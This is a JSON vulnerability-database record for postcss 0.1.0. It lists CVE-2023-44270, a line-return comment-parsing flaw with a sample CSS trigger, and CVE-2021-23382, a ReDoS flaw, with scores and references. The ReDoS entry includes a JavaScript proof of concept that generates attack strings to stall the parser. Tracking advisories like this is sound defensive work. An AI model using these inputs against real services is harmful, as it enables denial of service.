{"url":"http://public2.vulnerablecode.io/api/packages/244421?format=json","purl":"pkg:npm/postcss@0.1.0","type":"npm","namespace":"","name":"postcss","version":"0.1.0","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":"8.4.31","latest_non_vulnerable_version":"8.5.10","affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/19246?format=json","vulnerability_id":"VCID-f8u5-8mj5-7yc6","summary":"PostCSS line return parsing error\nAn issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\\r` discrepancies, as demonstrated by `@font-face{ font:(\\r/*);}` in a rule.\n\nThis vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2023-44270.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2023-44270.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2023-44270","reference_id":"","reference_type":"","scores":[{"value":"0.00197","scoring_system":"epss","scoring_elements":"0.41638","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00197","scoring_system":"epss","scoring_elements":"0.41713","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00197","scoring_system":"epss","scoring_elements":"0.41691","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00197","scoring_system":"epss","scoring_elements":"0.41706","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00197","scoring_system":"epss","scoring_elements":"0.41739","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00197","scoring_system":"epss","scoring_elements":"0.41716","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00197","scoring_system":"epss","scoring_elements":"0.41707","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00197","scoring_system":"epss","scoring_elements":"0.41657","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00197","scoring_system":"epss","scoring_elements":"0.41729","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00197","scoring_system":"epss","scoring_elements":"0.41701","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00219","scoring_system":"epss","scoring_elements":"0.44368","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00219","scoring_system":"epss","scoring_elements":"0.44445","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00219","scoring_system":"epss","scoring_elements":"0.44448","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2023-44270"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44270","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44270"},{"reference_url":"https://github.com/github/advisory-database/issues/2820","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-23T16:38:23Z/"}],"url":"https://github.com/github/advisory-database/issues/2820"},{"reference_url":"https://github.com/postcss/postcss","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/postcss/postcss"},{"reference_url":"https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-23T16:38:23Z/"}],"url":"https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25"},{"reference_url":"https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-23T16:38:23Z/"}],"url":"https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5"},{"reference_url":"https://github.com/postcss/postcss/releases/tag/8.4.31","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-23T16:38:23Z/"}],"url":"https://github.com/postcss/postcss/releases/tag/8.4.31"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00025.html","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00025.html"},{"reference_url":"htt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Expression Denial of Service in postcss\nThe package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n    var ret = \"a{}\"\n    for (var i = 0; i < n; i++) {\n        ret += \"/*# sourceMappingURL=\"\n    }\n    return ret + \"!\";\n}\n```\n```js\npostcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {\n    if (i % 1000 == 0) {\n        var time = Date.now();\n        var attack_str = build_attack(i) try {\n            postcss.parse(attack_str) var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        } catch (e) {\n            var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        }\n    }\n}\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-23382.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2021-23382.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2021-23382","reference_id":"","reference_type":"","scores":[{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21465","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.2161","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21686","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21743","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21754","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21714","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21658","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21656","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21663","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21631","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21483","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21477","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21632","published_at":"2026-04-01T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21803","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00071","scoring_system":"epss","scoring_elements":"0.21856","published_at":"2026-04-04T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2021-23382"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23382","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23382"},{"reference_url":"https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956"},{"reference_url":"https://github.com/postcss/postcss/releases/tag/7.0.36","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/postcss/postcss/releases/tag/7.0.36"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23382","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23382"},{"reference_url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641"},{"reference_url":"https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=1954150","reference_id":"1954150","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=1954150"},{"reference_url":"https://github.com/advisories/GHSA-566m-qj78-rww5","reference_id":"GHSA-566m-qj78-rww5","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-566m-qj78-rww5"},{"reference_url":"https://access.redhat.com/errata/RHSA-2021:2438","reference_id":"RHSA-2021:2438","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2021:2438"},{"reference_url":"https://access.redhat.com/errata/RHSA-2021:3917","reference_id":"RHSA-2021:3917","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2021:3917"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/77232?format=json","purl":"pkg:npm/postcss@7.0.36","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-f8u5-8mj5-7yc6"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/postcss@7.0.36"},{"url":"http://public2.vulnerablecode.io/api/packages/80245?format=json","purl":"pkg:npm/postcss@8.2.13","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-f8u5-8mj5-7yc6"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/postcss@8.2.13"}],"aliases":["CVE-2021-23382","GHSA-566m-qj78-rww5"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-scy5-ccf9-dygp"}],"fixing_vulnerabilities":[],"risk_score":"3.1","resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/postcss@0.1.0"}